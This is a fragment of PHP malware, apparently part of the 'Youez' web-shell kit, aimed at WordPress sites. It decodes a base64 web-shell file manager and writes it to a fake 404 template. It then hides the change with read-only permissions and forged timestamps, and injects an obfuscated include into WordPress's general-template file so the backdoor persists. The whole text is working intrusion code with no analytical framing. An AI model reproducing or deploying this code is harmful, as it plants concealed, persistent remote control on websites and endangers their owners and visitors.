GtiZVFENUJQa3Z2SncrUzNGRHJGaU9KTUNhSWtVcVNVRWtvMVpUL2xCS1dmTWtLWm9LcFJ6YW1lMUFpcWlEcWZXa2x0b0haUUwxT0hxUk0wZFpvbHpac1dROHVrTGFQVjBKcHBaMm4zYUMvcGRMb0ozWU1lUlpmUWw5SnI2QWZwNSttRDlIY01EWVlOZzhkSVlpZ1pheGw3R2FjWXR4a3ZtVXltQmRPWG1jaFVNTmN5RzVsbm1BK1liMVZZS3ZZcWZCV1J5aEtWT3BWV2xYNlY1NnBVVlhOVlA5VjVxZ3RVcTFVUHExNVdmYVpHVmJOUTQ2a0oxQmFyMWFrZFZidXBOcTdPVW5kU2oxRFBVVitqdmwvOWd2cGpEYktHaFVhZ2hraWpWR08zeGhtTklSYkdNbVh4V0VMV2NsWUQ2eXhybUUxaVc3TDU3RXgyQmZzYmRpOTdURk5EYzZwbXJHYVJacDNtY2MwQkRzYXg0UEE1Mlp4S3ppSE9EYzU3TFFNdFB5MngxbXF0WnExK3JUZmFldHErMm1MdGN1MFc3ZXZhNzNWd25VQ2RMSjMxT20wNjkzVUp1amE2VWJxRnV0dDF6K28rMDJQcmVla0o5Y3IxRHVuZDBVZjFiZlNqOVJmcTc5YnYwUjgzTURRSU5wQVpiREU0WS9ETWtHUG9hNWhwdU5Id2hPR29FY3RvdXBIRWFLUFJTYU1udUNidWgyZmpOWGdYUG1hc2J4eGlyRFRlWmR4clBHRmlhVExicE1Ta3hlUytLYzJVYTVwbXV0RzAwM1RNek1nczNLellyTW5zampuVm5HdWVZYjdadk52OGpZV2xSWnpGU29zMmk4ZVcycFo4eXdXV1RaYjNySmhXUGxaNVZ2VlcxNnhKMWx6ckxPdHQxbGRzVUJ0WG13eWJPcHZMdHFpdG02M0VkcHR0M3hUaUZJOHAwaW4xVTI3YU1lejg3QXJzbXV3RzdUbjJZZllsOW0zMnp4M01IQklkMWp0ME8zeHlkSFhNZG14d3ZPdWs0VFREcWNTcHcrbFhaeHRub1hPZDh6VVhwa3VReXhLWGRwY1hVMjJuaXFkdW4zckxsZVVhN3JyU3RkUDFvNXU3bTl5dDJXM1UzY3c5eFgyciswMHVteHZKWGNNOTcwSDA4UGRZNG5ITTQ1Mm5tNmZDODVEbkwxNTJYbGxlKzcwZVQ3T2NKcDdXTUczSTI4UmI0TDNMZTJBNlBqMWwrczdwQXo3R1BnS2ZlcCtIdnFhK0l0ODl2aU4rMW42WmZnZjhudnM3K3N2OWovaS80WG55RnZGT0JXQUJ3UUhsQWIyQkdvR3pBMnNESHdTWkJLVUhOUVdOQmJzR0x3dytGVUlNQ1ExWkgzS1RiOEFYOGh2NVl6UGNaeXlhMFJYS0NKMFZXaHY2TU13bVRCN1dFWTZHendqZkVINXZwdmxNNmN5MkNJamdSMnlJdUI5cEdaa1grWDBVS1NveXFpN3FVYlJUZEhGMDl5eldyT1JaKzJlOWp2R1BxWXk1Tzl0cXRuSjJaNnhxYkZKc1kreWJ1SUM0cXJpQmVJZjRSZkdYRW5RVEpBbnRpZVRFMk1ROWllTnpBdWRzbWpPYzVKcFVsblJqcnVYY29ya1g1dW5PeTU1M1BGazFXWkI4T0lXWUVwZXlQK1dESUVKUUx4aFA1YWR1VFIwVDhvU2JoVTlGdnFLTm9sR3h0N2hLUEpMbW5WYVY5ampkTzMxRCttaUdUMFoxeGpNSlQxSXJlWkVaa3JrajgwMVdSTmJlck0vWmNka3RPWlNjbEp5alVnMXBsclFyMXpDM0tMZFBaaXNya3cza2VlWnR5aHVUaDhyMzVDUDVjL1BiRld5RlROR2p0Rkt1VUE0V1RDK29LM2hiR0Z0NHVFaTlTRnJVTTk5bS91cjVJd3VDRm55OWtMQlF1TEN6MkxoNFdmSGdJcjlGdXhZamkxTVhkeTR4WFZLNlpIaHA4Tko5eTJqTHNwYjlVT0pZVWxYeWFubmM4bzVTZzlLbHBVTXJnbGMwbGFtVXljdHVydlJhdVdNVllaVmtWZTlxbDlWYlZuOHFGNVZmckhDc3FLNzRzRWE0NXVKWFRsL1ZmUFY1YmRyYTNrcTN5dTNyU091azYyNnM5MW0vcjBxOWFrSFYwSWJ3RGEwYjhZM2xHMTl0U3Q1MG9YcHE5WTdOdE0zS3pRTTFZVFh0Vzh5MnJOdnlvVGFqOW5xZGYxM0xWdjJ0cTdlKzJTYmExci9kZDN2ekRvTWRGVHZlNzVUc3ZMVXJlRmRydlVWOTlXN1M3b0xkanhwaUc3cS81bjdkdUVkM1Q4V2VqM3VsZXdmMlJlL3JhblJ2Yk55dnY3K3lDVzFTTm8wZVNEcHc1WnVBYjlxYjdacDN0WEJhS2c3Q1FlWEJKOSttZkh2alVPaWh6c1BjdzgzZm1YKzM5UWpyU0hrcjBqcS9kYXd0bzIyZ1BhRzk3K2lNbzUwZFhoMUh2cmYvZnU4eDQyTjF4eldQVjU2Z25TZzk4Zm5rZ3BQanAyU25ucDFPUHozVW1keDU5MHo4bVd0ZFVWMjlaMFBQbmo4WGRPNU10MS8zeWZQZTU0OWQ4THh3OUNMM1l0c2x0MHV0UGE0OVIzNXcvZUZJcjF0djYyWDN5KzFYUEs1MDlFM3JPOUh2MDMvNmFzRFZjOWY0MXk1ZG4zbTk3OGJzRzdkdUp0MGN1Q1c2OWZoMjl1MFhkd3J1VE54ZGVvOTRyL3krMnYzcUIvb1A2biswL3JGbHdHM2crR0RBWU0vRFdRL3ZEZ21IbnY2VS85T0g0ZEpIekVmVkkwWWpqWStkSHg4YkRScTk4bVRPaytHbnNxY1R6OHArVnY5NTYzT3I1OS85NHZ0THoxajgyUEFMK1l2UHY2NTVxZk55NzZ1cHJ6ckhJOGNmdk01NVBmR20vSzNPMjMzdnVPKzYzOGU5SDVrby9FRCtVUFBSK21QSHA5QlA5ejduZlA3OEwvZUU4L3NsMHA4ekFBQUFJR05JVWswQUFIb2xBQUNBZ3dBQStmOEFBSURwQUFCMU1BQUE2bUFBQURxWUFBQVhiNUpmeFVZQUFBRzRTVVJCVkhqYWZKTFBhaE5SRk1aLzk5eVphYkJ4Q05OS2l5Z294R0NnbEJaY3VDZ0k5ZzJLTDFOQ3dTNUtYOEFuVUxvU3VuUFZyZHZHZ0J1cEVWMjRFV1FDTThuTTVNKzkxOFZNUnVPaTMrckNQZC81ZmVmY3ExNzFYanUwNVRiWnVlSHkvRXdCZUdqTDI1TVQ1c2F3TUlhSlhUVi9HZ3g0ZDNYRjBYSFBYWjZmS1FHdzFySXdocGt4bU9tVVBNdEl4Mk9TSkdHY3Bydy9QVVY4emRGeHo4azRUZXR1Z2RZMGdvQkFhendSbEFoeEhQUG00b0lYblE2ZkIzMDhBQkhoWTc4UHdOWjZ4SzlKekc2M0M4REx3ME9jdFlSaHlJZnI2OUlBMEc2M2NWWCtKaTBhUVFDekdRQ0xmMmJ5QUxSU0RJZkR1anZBdDZvZzhockVpNEw5dmIzU1VHUVpTb1NublE0TGE3bExWSk9XdWw4VUFCUlpWczNnSEY5dWJ1cUNKV2xyUFNwcGs1aUQ3ZTJLa09jQTdIYTd6SXdwTS85SGF0TEMwNW9pei84Ty9mUHJkOEtXejQvZmFVMEJtRTh6L0xVNzZNM05rakF0Q3JRSUQ1NDhMa24zWUdZTUQ2TUlheTJtb2dKTWkyS1ZBQkMyZlBMYzU5SEdCb2dBWUl4QnFyTzNmT21ENTgvS3l5cTNjUTZ0VkcwQ0dLY3BYaklhcmF4UWkyQ3NMWXNCSllKVENpVkNNaHFobWpzN3p0cmJ2L2RTSXNLZkFRRGZJc0tIdkFaWVpBQUFBQUJKUlU1RXJrSmdnZz09Jz4KCiI7Ci8vIDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+JGZpbGU8L2E+CiAgICAgICAgICAgIGVjaG8gIgo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+CjwvdGQ+Cjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOwoKCgogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOwogICAgICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOwogICAgICAgICAgICBlY2hvICI8L2E+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9ZWRpdCZ0eXBlPWZpbGUmbmFtZT0kZmlsZVwiPue8lui+kTwvYT4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWZpbGUmbmFtZT17JGZpbGV9J1wiPuWIoOmZpDwvYT4KPC9jZW50ZXI+PC90ZD4KPC90cj4iOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L3RhYmxlPgo8L2Rpdj4nOwogICAgfQogICAgZWNobyAnPGJyPjxicj48YnI+PGJyPjwvYj4KPC9ib2R5PiA8L2h0bWw+PC9ib2R5Pgo8L2h0bWw+JzsKICAgIGRpZTsKZW5kaWY7ICAvLyA9PT09CgoKCgoKCg=="; // WP 404
    @chmod($jue_jiang_404_path, 0644);
    @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404));
    @touch($jue_jiang_404_path, filectime($file_general_template_path));
    @chmod($jue_jiang_404_path, 0444);
}

$general_template_code = @file_get_contents($file_general_template_path);
$gen_mat = base64_decode("QGluY2x1ZGVbXHNdK2Jhc2U2NF9kZWNvZGVbXHNdKj9cKCJbMC05YS16QS1aLT0rXC9dKyJcKTs=");
$isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false;
if (!$isget_mat){
    $pma = base64_decode("ZnVuY3Rpb25bXHNdW2EtekEtWjAtOV9dKlwoLio/XCkuKg==");
    preg_match_all("/{$pma}/i",$general_template_code,$pr);
    $gen_temp_fun_name = $pr[0][rand(0,count($pr[0])-1)];
    $jj404_b64_path = base64_encode($jue_jiang_404_path);
    $new_general_template = str_replace($gen_temp_fun_name,"@include base64_decode(\"{$jj404_b64_path}\");".PHP_EOL.$gen_temp_fun_name,$general_template_code);
    @chmod($file_general_template_path, 0644);
    @file_put_contents($file_general_template_path,$new_general_template);
    @touch($file_general_template_path, filectime($file_general_template_path));
}

Youez - 2016 - github.com/yon3zu
LinuXploit